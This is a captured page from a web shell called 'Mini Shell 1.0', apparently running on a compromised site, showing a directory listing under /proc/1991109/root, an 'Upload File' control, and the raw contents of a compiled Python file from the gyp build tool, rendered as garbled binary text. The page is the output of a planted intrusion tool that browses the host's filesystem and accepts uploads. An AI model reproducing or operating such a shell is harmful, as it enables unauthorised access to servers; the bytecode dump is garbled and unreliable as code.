HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/1991109/root/usr/lib/python3/dist-packages/gyp/__pycache__/
Upload File :
Current File : //proc/1991109/root/usr/lib/python3/dist-packages/gyp/__pycache__/MSVSToolFile.cpython-311.pyc
�

�"Kb��:�dZddlZddlmZGd�de��ZdS)z$Visual Studio project reader/writer.�Nc�$�eZdZdZd�Zd�Zd�ZdS)�Writerz#Visual Studio XML tool file writer.c�2�||_||_dg|_dS)zzInitializes the tool file.

    Args:
      tool_file_path: Path to the tool file.
      name: Name of the tool file.
    �RulesN)�tool_file_path�name�
rules_section)�selfrrs   �2/usr/lib/python3/dist-packages/gyp/MSVSToolFile.py�__init__zWriter.__init__s#��)�D���D�I�!��D����c	���d|||d�|��d�|��d�|��d�g}|j�|��dS)a9Adds a rule to the tool file.

    Args:
      name: Name of the rule.
      description: Description of the rule.
      cmd: Command line of the rule.
      additional_dependencies: other files which may trigger the rule.
      outputs: outputs of the rule.
      extensions: extensions handled by the rule.
    �CustomBuildRule�;)�Name�ExecutionDescription�CommandLine�Outputs�FileExtensions�AdditionalDependenciesN)�joinr	�append)r
r�cmd�description�additional_dependencies�outputs�
extensions�rules        r�AddCustomBuildRulezWriter.AddCustomBuildRulesn��
��%0������)�)�"�x�x�
�3�3����1�2�2�

�
��D�	����d�#�#�#�#�#r
c�b�dd|jd�|jg}tj||jd���dS)zWrites the tool file.�VisualStudioToolFilez8.00)�VersionrzWindows-1252)�encodingN)rr	�easy_xml�WriteXmlIfChangedr)r
�contents  r�WriteIfChangedzWriter.WriteIfChanged1sV��%�!��	����!�	�G�
��w��(;�(6�8�8�8�8�8�8r
N)�__name__�
__module__�__qualname__�__doc__rrr'�r
rrrsG������+�+�	#�	#�	#�$�$�$�0	8�	8�	8�	8�	8r
r)r+�
gyp.common�gyp�gyp.easy_xmlr$�objectrr,r
r�<module>r1s_��
+�*�����������/8�/8�/8�/8�/8�V�/8�/8�/8�/8�/8r